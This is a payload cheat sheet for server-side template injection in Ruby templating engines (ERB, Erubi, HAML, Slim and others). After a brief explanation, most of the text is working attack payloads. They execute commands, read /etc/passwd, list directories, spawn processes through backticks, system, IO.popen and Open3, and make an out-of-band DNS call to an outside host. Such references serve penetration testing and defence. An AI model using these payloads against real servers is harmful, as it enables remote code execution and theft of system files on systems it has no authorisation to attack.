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Server Side Template Injection - Ruby

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Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.

Summary#

Templating Libraries#

Template NamePayload Format
Erb<%= %>
Erubi<%= %>
Erubis<%= %>
HAML#{ }
Liquid{{ }}
Mustache{{ }}
Slim#{ }

Universal Payloads#

Generic code injection payloads work for many Ruby-based template engines, such as Erb, Erubi, Erubis, HAML and Slim.

To use these payloads, wrap them in the appropriate tag.

%x('id') # Rendered RCE
File.read("Y:/A:/"+%x('id')) # Error-Based RCE
1/(system("id")&&1||0) # Boolean-Based RCE
system("id && sleep 5") # Time-Based RCE

Ruby#

Ruby - Basic injections#

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - Retrieve /etc/passwd#

<%= File.open('/etc/passwd').read %>

Ruby - List files and directories#

<%= Dir.entries('/') %>

Ruby - Remote Command execution#

Execute code using SSTI for Erb,Erubi,Erubis engine.

<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require  'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.

#{ %x|env| }

References#